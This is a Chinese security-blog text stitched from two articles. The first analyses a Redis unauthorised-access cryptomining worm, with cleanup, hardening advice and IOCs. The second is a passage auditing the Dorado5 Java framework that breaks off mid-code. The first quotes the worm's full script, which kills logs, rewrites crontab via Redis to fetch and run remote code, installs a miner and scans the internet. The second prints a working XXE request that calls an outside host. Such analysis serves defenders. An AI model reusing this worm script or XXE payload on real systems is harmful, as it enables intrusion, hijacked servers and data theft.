0.0.0.0:6379，在没有利用防火墙进行屏蔽的情况下，将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的
~/.ssh 文件夹的authotrized_keys
文件中，进而可以直接登录目标服务器；如果Redis服务是以root权限启动，可以利用该问题直接获得服务器root权限。相关漏洞详情可以参考：
[https://www.seebug.org/vuldb/ssvid-89715](https://www.seebug.org/vuldb/ssvid-89715)
以下为漏洞利用演示（上传不了视频，播放地址：https://v.qq.com/x/page/u0661b9o772.html）：
经过在ZoomEye和SHODAN检索，可以发现分别众多Redis服务开放在公网上，这些服务都可能成为攻击目标。
# 三、 入侵分析
#
经过对捕获的事件进行分析，我们发现整个入侵流程大概是包含以下几个环节：
1、扫描开放6379端口的Linux服务器（后续感染扫描网段为1.0.0.0/16到224.255.0.0/16）
2、通过redis-cli尝试连接Redis并执行预置在.dat文件里的利用命令将Redis的数据文件修改为/var/spool/cron/root，然后通过在Redis中插入数据，将下载执行脚本的动作写入crontab任务
3、通过脚本实现以上的相关行为，完成植入并启动挖矿程序
4、再编译安装pnscan，继续扫描感染下一个目标
# 四、 脚本分析
整个入侵利用以及后续的感染的实现，最主要的功能都是基于通过Redis问题写入crontab任务中下载执行的.cmd脚本（https://transfer.sh/MIpIA/tmp.9kIguIhkI7）来实现的，通过对它的分析，我们基本能够得到整个流程的所有细节，这是一个base脚本，我们通过解读来分析下它的相关功能。
1. sleep 1
2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete
3. [ -f .mxff0 ] && exit 0
4. echo 0 > .mxff0
这部分代码只要是用作重复执行的判断，将.mxff0文件作为标记文件，如果存在该文件则代表机器上已执行脚本，直接退出，否则写.mxff0文件并进行下一步动作；
5. trap “rm -rf .m* .cmd tmp.* .r .dat $0” EXIT
设置预置动作，在脚本退出后删除相关文件和脚本自身；
6. setenforce 0 2>/dev/null
7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
8. crontab -r 2>/dev/null
9. rm -rf /var/spool/cron 2>/dev/null
10\. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >>
/etc/resolv.conf
11\. rm -rf /tmp/* 2>/dev/null
12\. rm -rf /var/tmp/* 2>/dev/null
13\. rm -rf /etc/root.sh 2>/dev/null
14\. sync && echo 3 > /proc/sys/vm/drop_caches
15\. cat <<EOF> /etc/security/limits.conf
16\. * hard nofile 100000
17\. * soft nofile 100000
18\. root hard nofile 100000
19\. root soft nofile 100000
20\. * hard nproc 100000
21\. * soft nproc 100000
22\. root hard nproc 100000
23\. root soft nproc 100000
24\. EOF
这部分主要是修改系统的配置，6、7行为关闭SELINU；
然后清空/var/spool/cron，进而判断系统DNS服务器是否存在8.8.8.8，没有则添加；
11-13则清空系统tmp目录和删除相关文件；
14行清空系统缓存，而15-24则是修改系统的资源限制；
25\. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP
26\. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT
27\. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start.sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs|.sshd|/tmp/init” | while read pid _; do kill
-9 “$pid”; done
这里再进一步的增加iptables限制6379端口只允许本地访问，同时kill相关包含挖矿、redis客户端、爬虫等进程，这里的目的也比较简单，避免被其他黑客再次入侵，同时清除可能其他黑客入侵启动的进程；
28\. rm -rf /tmp/* 2>/dev/null
29\. rm -rf /var/tmp/* 2>/dev/null
30\. echo 0 > /var/spool/mail/root
31\. echo 0 > /var/log/wtmp
32\. echo 0 > /var/log/secure
33\. echo 0 > /root/.bash_history
清除相关登录日志、命令操作历史；
34\. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”
35\. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server
redis-tools redis iptables curl”
36\. if cat /etc/*release | grep -i CentOS; then
37\. yum clean all
38\. yum install -y -q epel-release
39\. yum install -y -q $YUM_PACKAGE_NAME
40\. elif cat /etc/*release | grep -qi Red; then
41\. yum clean all
42\. yum install -y -q epel-release
43\. yum install -y -q $YUM_PACKAGE_NAME
44\. elif cat /etc/*release | grep -qi Fedora; then
45\. yum clean all
46\. yum install -y -q epel-release
47\. yum install -y -q $YUM_PACKAGE_NAME
48\. elif cat /etc/*release | grep -qi Ubuntu; then
49\. export DEBIAN_FRONTEND=noninteractive
50\. rm -rf /var/lib/apt/lists/*
51\. apt-get update -q –fix-missing
52\. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
53\. elif cat /etc/*release | grep -qi Debian; then
54\. export DEBIAN_FRONTEND=noninteractive
55\. rm -rf /var/lib/apt/lists/*
56\. apt-get update –fix-missing
57\. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
58\. elif cat /etc/*release | grep -qi Mint; then
59\. export DEBIAN_FRONTEND=noninteractive
60\. rm -rf /var/lib/apt/lists/*
61\. apt-get update –fix-missing
62\. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
63\. elif cat /etc/*release | grep -qi Knoppix; then
64\. export DEBIAN_FRONTEND=noninteractive
65\. rm -rf /var/lib/apt/lists/*
66\. apt-get update –fix-missing
67\. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
68\. else
69\. exit 1
70\. fi
71\. sleep 1
72\. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
73\. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 >
.x112 || wget -q -O .x112
https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
74\. sleep 1
75\. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make
install && cd .. && rm -rf pnscan-1.12 .x112
76\. fi
这一长串的内容主要目的是下载并编译安装pnscan，从内容中我们可以看到对于不同操作系统的判断然后安装依赖的相关模块，然后才是从github下载pnscan的源码进行编译安装；至于为什么采用编译安装的形式，猜测是出于兼容不同系统以及每次编译生成的pnscan的MD5都不一样，避免形成固定特征；
77\. tname=$( mktemp )
78\. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge
79\. curl -s $OMURL > $tname || wget -q -O $tname $OMURL
80\. NMURL=$( curl -s –upload-file $tname https://transfer.sh )
81\. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
这部分主要是下载挖矿程序并重命名为.gpg，增加执行权限，执行后删除，同时重新上传到<https://transfer.sh/> 获取新的链接；
82\. [ -z “$NMURL” ] && NMURL=$OMURL
83\. ncmd=$(basename $(mktemp))
84\. sed ‘s|'”$OMURL”‘|'”$NMURL”‘|g’ < .cmd > $ncmd
85\. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )
86\. echo ‘flushall’ > .dat
87\. echo ‘config set dir /var/spool/cron’ >> .dat
88\. echo ‘config set dbfilename root’ >> .dat
89\. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > .cmd && bash
.cmdnt”‘ >> .dat
90\. echo ‘set Backup2 “tn*/5 * * * * wget -O .cmd ‘${NSURL}’ && bash .cmdnt”‘
>> .dat
91\. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > .cmd && bash
.cmdnt”‘ >> .dat
92\. echo ‘save’ >> .dat
93\. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat
94\. echo ‘save’ >> .dat
95\. echo ‘exit’ >> .dat
而这部分内容主要是生成新的.dat文件，包含将原来.cmd脚本里的里挖矿程序的下载地址替换为上一步上传到<https://transfer.sh/>
得到的新地址，还有Redis利用的相关语句；
96\. pnx=pnscan
97\. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
98\. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
99\. for x in $( seq 1 224 | sort -R ); do
100. for y in $( seq 0 255 | sort -R ); do
101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o
102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l
103. while read -r h p; do
104. cat .dat | redis-cli -h $h -p $p –raw &
105. done < .r.$x.$y.l
106. done
107. done
而步主要是调用pnscan去扫描子网段1.0.0.0/16到224.255.0.0/16中开放6379端口并且操作系统为Linux的目标，然后利用redis-cli执行.dat中的命令，进行下个目标的感染；这里pnscan的-W参数值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d
0a’转换后内容‘*1rn$4rnINFOrn’，是向目标Redis服务发送请求获取Redis服务器的各种信息和统计数值，再通过-R参数值‘6f 73 3a
4c 69 6e 75 78′(转换后内容为os:Linux)判断是否Linux系统。
108. echo 0 > /var/spool/mail/root 2>/dev/null
109. echo 0 > /var/log/wtmp 2>/dev/null
110. echo 0 > /var/log/secure 2>/dev/null
111. echo 0 > /root/.bash_history 2>/dev/null
112. exit 0
最后就是收尾工作，清除相关日志和命令执行历史，同时在脚本退出的时候会触发脚本一开始用trap预置的动作，会做删除操作，删除相关文件和脚本自身（rm -rf
m* .cmd tmp.* .r .dat $0）。
通过对脚本的解读，我们基本已经清楚整个蠕虫的行为和入侵流程，也就是我们开始所描述的流程。
另外，通过阅读脚本，我们发现虽然整个入侵流程并不是多复杂，但脚本其实有很多”工程化”的细节考虑，不得不让人惊叹入侵者的”考虑周到”：
1、 利用.mxff0文件做重复执行检验，避免脚本的重复执行
2、 为了增加成功性，一些环境的预处理：
a) 关闭SELINUX
b) 增加8.8.8.8的DNS
c) 清空tmp目录
d) 清空系统缓存
e) 修改系统资源限制
3、 痕迹清除
a) 利用trap预置动作好在脚本执行完成后删除相关文件和脚本自身
b) 重复清除相关登录等日志和命令执行历史
4、 同行预防
a) 利用iptables避免Redis服务开放在公网上从而导致再次被入侵
b) 清除同行可能遗留的入侵行为，kill相关进程
5、 系统兼容性
a) 判断操作系统，针对性的执行相关命令，安装依赖包，最大限度的提高pnscan编译安装的成功率
b) 关闭SELINUX，通过setenforce和修改/etc/sysconfig/selinux两种手段实现
c) 写入Crontab里的下载并执行脚本的任务，通过curl、wget、lynx三种方式实现
d) Pnscan扫描增加操作系统判断，减少没有必要的感染尝试
6、 特征去除，存活延续
a) Pnscan采用安装编译的方式，既提高在不同系统下的兼容性，也避免形成固定的MD5特征
b) 利用[https://transfer.sh](https://transfer.sh/) 中转，每一次感染均生成新的连接，避免固定链接形成固定特征
c) 下载到系统的相关文件均采用随机生成的文件名
正是由于入侵者种种的”考虑周到”使得他的入侵感染的成功率能够达到的一定的层度。
# 五、 安全建议
**病毒清理和系统恢复**
我们主要参考脚本的相关行为进行对应的行为恢复和删除即可：
1、 关闭SELINUX，根据系统原环境和业务需要重新开启SELINUX
2、 清空了/var/spool/cron，根据原先备份清空恢复
3、 修改/etc/resolv.conf增加DNS服务8.8.8.8，如无影响可不处理，或者删除
4、 修改了系统资源限制(/etc/security/limits.conf)，可根据备份情况恢复
5、 增加了对6379端口的Iptables规则，如果不影响业务，建议保留
6、 Kill了相关进程，检查是否包含业务所需进程，根据情况恢复
7、 安装了相关包，具体列表见上文，可根据情况删除或者如无影响可保留
8、 编译安装了pnscan，可删除/usr/local/bin/pnscan
9、 清除了相关日志和tmp目录，对系统无影响，可忽略
10、 启动了挖矿进程和pnscan扫描感染，进程：.gpg、pnscan，直接kill
还包含了一些中间文件，虽然脚本包含相关删除操作，但建议还是全局查找确认：.mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx
**Redis** **服务加固**
1、
如无必要，修改bind项，不要将Redis绑定在0.0.0.0上，避免Redis服务开放在外网，可以通过iptables或者腾讯云用户可以通过安全组限制访问来源
2、 在不影响业务的情况，不要以root启动Redis服务，同时建议修改默认的6379端口，大部分针对Redis未授权问题的入侵都是针对默认端口进行的
3、 配置AUTH，增加密码校验，这样即使开放在公网上，如果非弱口令的情况，黑客也无法访问Redis服务进行相关操作
4、 使用rename-command CONFIG
“RENAME_CONFIG”重命名相关命令，这样黑客即使在连接上未授权问题的Redis服务，在不知道命令的情况下只能获取相关数据，而无法进一步利用
# 六、 附录
**IOCs**
1. 脚本 [https://transfer.sh/MIpIA/tmp.9kIguIhkI7](https://transfer.sh/MIpIA/tmp.9kIguIhkI7)
2. 挖矿程序 2918ee2b69bc4e6b581c7b25f08434fe
3. 矿池域名 [http://jb.chakpools.com/](http://jb.chakpools.com/)
4. 相关文件名 .mxff0、.x112、.gpg、.dat、.cmd、.r.xx.xx.o/l、tmp.xxxx
**链接**
1. 样本 https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6
2. Pnscan项目地址 https://github.com/ptrrkssn/pnscan
3. 漏洞说明 https://www.seebug.org/vuldb/ssvid-89715
4. 漏洞利用演示 https://v.qq.com/x/page/u0661b9o772.html
5、云镜产品官网 https://cloud.tencent.com/product/hs
作者：云鼎实验室 Fooying 2018/05/21 | 社区文章 |
> Author:jkgh006@敏信安全审计
## Dorado5简介
锐道DORADO集成开发平台软件 V5.0（简称Dorado5
IDE）产品是与锐道DORADO展现中间件软件V5.0（简称DORADO5）产品配套的集成开发平台，进一步升编程效率与团队开发规范性。简言之，Dorado5
IDE是Dorado5的配套开发工具。
Dorado5 IDE支持控件属性设定、提供JavaScript事件编辑器、国际化资源文件编辑器、工程向导等。
Dorado5 IDE采用Eclipse Plug-in技术，以插件形式与Eclipse开发环境融为一体.
参考链接：<http://wiki.bsdn.org/pages/viewpage.action?pageId=984613>
客户案例：<http://www.bstek.com/about/case>
## 框架流程分析
首先看web.xml
<web-app>
<filter>
<filter-name>doradofilter</filter-name>
<filter-class>com.bstek.dorado.core.DoradoFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>doradofilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
分析DoradoFilter.class:
public void init(FilterConfig filterConfig) throws ServletException {
this.initSystemProperties();
try {
if (this.concreteFilter == null) {
String ex = filterConfig.getInitParameter("impl");
Class cl = CacheUtils.getClass(StringUtils.defaultString(ex,
"com.bstek.dorado.core.FilterHandle"));
Object o = cl.newInstance();
this.concreteFilter = (Filter) o;
}
this.concreteFilter.init(filterConfig);
} catch (IllegalAccessException arg4) {
arg4.printStackTrace();
} catch (InstantiationException arg5) {
arg5.printStackTrace();
}
}
初始化了com.bstek.dorado.core.FilterHandle，并且进行了new操作
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
this.concreteFilter.doFilter(request, response, filterChain);
}
根据filter的 链式效果将会调用FilterHandle的dofilter操作：
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain filterChain) throws ServletException {
try {
HttpServletRequest ex = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
boolean isRPC = false;
boolean fromAgent = false;
String qs = ex.getQueryString();
if (qs != null) {
if (qs.endsWith("!$$")) {
ResponseCache rpcInfo1 = this.getResponseCache(qs);
if (rpcInfo1 != null) {
rpcInfo1.restoreResponse(ex, resp);
} else {
PrintWriter out = new PrintWriter(
this.getResponseOutputStream(ex, resp));
out.write("Page Timeout!");
out.flush();
out.close();
resp.flushBuffer();
}
return;
}
FilterHandlerRPCInfo rpcInfo = this.parseQueryString(qs);
isRPC = rpcInfo.isRPC();
fromAgent = rpcInfo.isFromAgent();
}
if (isRPC) {
isRPC = !VariantHelper.parseBoolean(ex
.getAttribute("com.bstek.dorado.view.rpc.processed"));
}
DoradoContext.registerContext(HttpContextFactory
.getContext(request));
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
TransactionManager.disposeTransaction();
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
} catch (RuntimeException arg16) {
throw arg16;
} catch (ServletException arg17) {
throw arg17;
} catch (Throwable arg18) {
throw new ServletException(arg18);
}
}
这里有两个地方可以分析：
1. FilterHandlerRPCInfo rpcInfo =parseQueryString(qs);
2. isRPC = rpcInfo.isRPC();fromAgent = rpcInfo.isFromAgent();
private FilterHandlerRPCInfo parseQueryString(String queryString) {
FilterHandlerRPCInfo rpcInfo = new FilterHandlerRPCInfo();
String[] params = StringUtils.split(queryString, '&');
for (int i = 0; i < params.length; ++i) {
String param = params[i];
if (param != null) {
int ei = param.indexOf(61);
if (ei > 0) {
String name = param.substring(0, ei);
String value;
if ("__rpc".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setRPC(VariantHelper.parseBoolean(value));
} else if ("__rpcAgent".equals(name)) {
value = param.substring(ei + 1);
this.validateParameterCharacters(value);
rpcInfo.setFromAgent(VariantHelper.parseBoolean(value));
}
}
}
}
return rpcInfo;
}
如果我们的url是：smartweb2.RPC.d?__rpc=true 这里isRPC返回的就是ture
try {
if (isRPC) {
if (fromAgent) {
this.doAgentRPCFilter(filterChain, ex, resp);
} else {
this.doRPCFilter(filterChain, ex, resp);
}
} else {
this.internalDoFilter(filterChain, ex, resp);
}
} finally {
继续跟进一下doRPCFilter函数
private void doRPCFilter(FilterChain filterChain, HttpServletRequest req,
HttpServletResponse resp) throws Throwable {
String qs = this.genNewQS();
RPCHandler handler = RPCHelper.getHandler(req);
ResponseCache responseCache = new ResponseCache();
try {
handler.init(req);
DoradoBufferedResponse ex = new DoradoBufferedResponse(resp,
responseCache);
this.internalDoFilter(filterChain, req, ex);
if (!handler.isExecuted()) {
handler.execute();
}
ex.flushBuffer();
} catch (Throwable arg14) {
if (arg14 instanceof ServletException) {
handler.setError(((ServletException) arg14).getRootCause());
} else {
handler.setError(arg14);
}
this.processException(arg14);
} finally {
DoradoContext.registerContext(HttpContextFactory.getContext(req));
handler.endCalling(qs);
String contentType = "text/xml";
resp.setContentType("text/xml");
PrintWriter out = new PrintWriter(this.getResponseOutputStream(req,
resp));
Outputter xmlOutputter = OutputHelper.getOutputter(
handler.getClass(), "smartweb2");
xmlOutputter.outputStartSection(out, handler, req);
xmlOutputter.outputEndSection(out, handler, req);
out.flush();
out.close();
resp.flushBuffer();
if (responseCache.commitResponse()
&& !NoForwardController.isNoForward(req)) {
this.storeResponseCache(responseCache, qs);
}
RPCHelper.disposeHandler(req);
if (Setting.getBoolean("fixBug_100925")) {
DoradoContext.unregisterContext();
}
}
}
这个函数总体逻辑分为三个
1. RPCHandler handler = RPCHelper.getHandler(req); 获取对应的处理器
2. handler.init(req); 初始化请求的上下文以及参数
3. handler.execute(); 执行对应的action操作
public static RPCHandler getHandler(HttpServletRequest request)
throws Exception {
RPCHandler handler = (RPCHandler) request
.getAttribute("com.bstek.dorado.view.rpc.RPCHandler");
if (handler == null) {
String type = request.getParameter("__type");
handler = createHandler(type);
request.setAttribute("com.bstek.dorado.view.rpc.RPCHandler",
handler);
}
return handler;
}
这时候参数_type 就很重要的决定了handler的角色，如果我们传递的是__type=updateData，那么我们的处理类就是
private static RPCHandler createHandler(String type) throws Exception {
RPCHandler handler;
if ("updateData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.updateDataRPCHandler",
UpdateDataRPCHandler.class.getName()));
} else if ("loadData".equalsIgnoreCase(type)) {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.loadDataRPCHandler",
LoadDataRPCHandler.class.getName()));
} else {
handler = (RPCHandler) ClassHelper.newInstance(Setting.getString(
"view.baseRPCHandler", BaseRPCHandler.class.getName()));
}
return handler;
}
回头再分析一下那个初始化方法
跟进分析UpdateDataRPCHandler这个类
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.transactionMode = rootNode.getAttributeInt("transaction", 10);
this.reduceReturnInfo = rootNode.getAttributeBoolean("rri");
this.batch = UpdateBatchParser.parse(xmlDocument);
this.parameters().assign(this.batch.parameters());
ViewModel viewModel = this.getViewModel();
this.applyUpdateBatch(viewModel, this.batch);
}
调用父类BaseRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
super.init(request);
XmlDocument xmlDocument = this.getXmlDocument();
XmlNode rootNode = xmlDocument.getRootNode();
this.method = rootNode.getAttributeString("method");
}
继续调用父类AbstractRPCHandler的init
public void init(HttpServletRequest request) throws Exception {
this.requestRef = new WeakReference(request);
request.setAttribute("com.bstek.dorado.view.rpc.processed",
new Boolean(true));
String xml = request.getParameter("__xml");
String viewInstanceId = request.getParameter("__viewInstanceId");
ViewModelCacheInfo info = ViewModelManager
.getViewModelInfo(viewInstanceId);
this.viewModel = this.getViewModel(info);
XmlBuilder builder = XmlFactory.createXmlBuilder();
this.xmlDocument = builder.buildDocument("<?xml version=\"1.0\"?>"
+ xml);
ParameterSet parameters = this.parameters();
XmlNode[] paramNodes = null;
XmlNode paramsNode = this.xmlDocument.getRootNode().getChild("ps");
if (paramsNode != null) {
paramNodes = paramsNode.getChildren();
}
if (paramNodes != null) {
for (int properties = 0; properties < paramNodes.length; ++properties) {
XmlNode propNodes = paramNodes[properties];
String propsNode = propNodes.getAttribute("name");
String i = propNodes.getAttribute("type");
String propNode = propNodes.getContent();
if (StringHelper.isNotEmpty(i)) {
parameters.setDataType(propsNode, Integer.parseInt(i));
}
parameters.setString(propsNode, EscapeUtils.unescape(propNode));
if (StringHelper.isEmpty(i)) {
parameters.setDataType(propsNode, 0);
}
}
}
MetaData arg16 = this.viewModel.properties();
XmlNode[] arg17 = null;
XmlNode arg18 = this.xmlDocument.getRootNode().getChild("vps");
看到了吧这里进行了参数处理，其中xml参数直接进入到builder.buildDocument，前后没有禁用实体的标志所以存在xxe
POST /sample/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://localhost:8080/sample/hello_world.jsp
Content-Length: 756
Cookie: JSESSIONID=DA072739F42DD38394A94217857CD063; UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 58.216.50.51
Connection: close
__type=updateData&__viewInstanceId=helloWorld~com.bstek.dorado.view.impl.DynaViewModel&__xml=<!DOxCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//xxe.boomeye.com/index.html">%25remote%3b]><rpc+transaction%3d"10"><def><dataset+type%3d"wrapper"+id%3d"datasetEmployee"><f+name%3d"employee_id"></f><f+name%3d"dept_id"></f><f+name%3d"employee_name"></f><f+name%3d"sex"+type%3d"9"></f><f+name%3d"birthday"+type%3d"10"></f><f+name%3d"married"+type%3d"9"></f><f+name%3d"salary"+type%3d"7"></f><f+name%3d"degree"></f><f+name%3d"email"></f><f+name%3d"web"></f><f+name%3d"cmnt"></f><f+name%3d"image"></f></dataset></def><data><rs+dataset%3d"datasetEmployee"><r+id%3d"10138"+state%3d"insert"><n><v>2222</v><v>1111</v><v>111</v></n></r></rs></data></rpc>&1507876215851
整个框架的加载流程已经分析完成
## 任意文件读取
<servlet>
<servlet-name>doradoservlet</servlet-name>
<servlet-class>com.bstek.dorado.core.DoradoServlet</servlet-class>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>doradoservlet</servlet-name>
<url-pattern>*.d</url-pattern>
</servlet-mapping>
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
ActionHandler.invokeAction(request, response);
} catch (RuntimeException ex) {
throw ex;
} catch (ServletException ex) {
throw ex;
} catch (Throwable ex) {
throw new ServletException(ex);
}
}
public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
doGet(request, response);
}
这里可以看出来是个基础的HttpServlet类
public static void invokeAction(HttpServletRequest request,
HttpServletResponse response) throws Throwable {
String controllerName = "";
String actionName = "";
String extName = null;
String s = request.getServletPath();
int lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
extName = s.substring(lastDot + 1);
s = s.substring(0, lastDot);
lastDot = s.lastIndexOf(".");
if (lastDot >= 0) {
controllerName = s.substring(0, lastDot);
actionName = s.substring(lastDot + 1);
} else {
controllerName = s;
}
}
if ((extName != null) && ("jsp".equals(extName))) {
return;
}
invokeAction(request, response, controllerName, actionName);
}
private static void invokeAction(HttpServletRequest request,
HttpServletResponse response, String controllerName,
String actionName) throws Throwable {
Controller controller = null;
try {
controller = ControllerManager.getController(request,
controllerName);
controller.invokeAction(actionName, request, response);
} catch (Throwable ex) {
if (getExceptionHandler().processGlobalException(ex, request,
response))
return;
throw ex;
}
}
}
继续跟进 关键位置我们看类（ControllerManager）的 getController方法
public static Controller getController(HttpServletRequest request,
String name) throws Throwable {
return getControllerFactory().createController(request, name);
}
继续跟进：
public Controller createController(HttpServletRequest request, String name)
throws Throwable {
Mapping mapping = Mapping.getInstance();
ControllerConfig config = mapping.findController(name);
if (config != null) {
return createController(request, config);
}
if ("/TellMeSomethingAboutDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.TranslatorOutputter");
Controller controller = (Controller) cl.newInstance();
controller.setName(name);
controller.setConfig(new ControllerConfig(name));
return controller;
}
if ("/TellMeWhoCreatedDorado".equals(name)) {
Class cl = CacheUtils
.getClass("com.bstek.dorado.view.smartweb.v2.output.EncoderOutputter");
Controller controller = (Controller) cl.newInstance();
controller.setName(name);
controller.setConfig(new ControllerConfig(name));
return controller;
}
throw new ControllerNotFoundException(name);
}
重点分析一下这一句Mapping mapping = Mapping.getInstance()
初始化了所有的映射关系：
public static void init() throws xmlParseException, FileNotFoundException,
IOException {
try {
Mapping mapping = new Mapping();
FileLoader loader = FileLoaderFactory.createConfigLoader();
String path = "mapping/global.map.xml";
Console.println("Loading \"" + path + "\"...");
loader.setFile(path);
InputStream gin = loader.getInputStream();
GlobalUnit gunit;
try {
gunit = UnitParser.parseGlobalUnit(mapping, "global", gin);
} finally {
gin.close();
}
mapping.addUnit(gunit);
mapping.setGlobalUnit(gunit);
int fileCount = gunit.getSubFileCount();
for (int i = 0; i < fileCount; ++i) {
String unitname = gunit.getSubFile(i);
path = "mapping/" + unitname + ".map.xml";
Console.println("Loading \"" + path + "\"...");
loader.setFile(path);
InputStream sin = loader.getInputStream();
SubUnit unit;
try {
unit = UnitParser.parseSubUnit(mapping, unitname, sin);
} finally {
sin.close();
}
mapping.addUnit(unit);
}
instance = mapping;
} catch (LoadxmlPropertyException ex) {
Log.warn(ex);
}
}
这时候我们加载了本地里面的两个配置文件global.map.xml和 dorado.map.xml
传递进来的是怎么样个解析，举例子，如果我们传递的是：
[http://localhost:8080/sample/dorado/smartweb2.loadConst.d?language=zh&country=CN](http://localhost:8080/sample/dorado/smartweb2.loadConst.d?language=zh&country=CN)
那么smartweb2 其实就是 name，然而loadConst就是说你在这个控制器里面的doloadConst方法
那么肯定在xml里面会有smartweb2这个映射
dorado.map.xml：
<controller name="smartweb2" clazz="com.bstek.dorado.view.smartweb.v2.ViewServiceController">
<action name="showRPCLoadingTip" />
<action name="showRPCSubmitter" />
<action name="RPC" />
<action name="noForward" />
<action name="showDynamicDropDown">
<forward name="success" path="/WEB-INF/dynamic-dropdown2.jsp" contextRelative="false" />
</action>
</controller>
直接跟进这个类
private Controller createController(HttpServletRequest request,
ControllerConfig config) throws Throwable {
Controller controller = createController(config);
DoradoContext context = HttpContextFactory.getContext(request);
ScopeHelper.storeobject(context, config.getScope(),
"com.bstek.dorado.action.Controller." + config.getName(),
controller);
return controller;
}
实际上返回的类为：com.bstek.dorado.view.smartweb.v2.ViewServiceController
分析一下controller.invokeAction(actionName,request, response)
public void invokeAction(String actionName, HttpServletRequest request,
HttpServletResponse response) throws Throwable {
internalDispatch(actionName, request, response);
}
private void internalDispatch(String actionName,
HttpServletRequest request, HttpServletResponse response)
throws Throwable {
Action action = getAction(actionName, request, response);
try {
try {
internalDispatch(action, request, response);
} catch (NoSuchMethodException ex) {
String nextActionName = request.getParameter("do");
if (StringHelper.isNotEmpty(nextActionName)) {
action = getAction(nextActionName, request, response);
internalDispatch(action, request, response);
}
} catch (UnsupportedOperationException ex) {
if (StringHelper.isEmpty(actionName)) {
String nextActionName = request.getParameter("do");
if (StringHelper.isNotEmpty(nextActionName)) {
action = getAction(nextActionName, request, response);
internalDispatch(action, request, response);
}
}
}
再继续就不往下分析了，意思就是拿出来刚才控制器里面的方法
框架的流程分析就到这里，直接看业务层，查看ViewServiceController：
public ActionForward doLoadConst(Action action, HttpServletRequest request,
HttpServletResponse response) throws Throwable {
Locale local = LocaleHelper.getLocale(request.getParameter("language"),
request.getParameter("country"));
byte[] ba = getConstByteArray(local);
ByteArrayInputStream in = new ByteArrayInputStream(ba);
try {
responseByteArray(request, response, in, TIMESTAMP,
"application/octet-stream", "const.js");
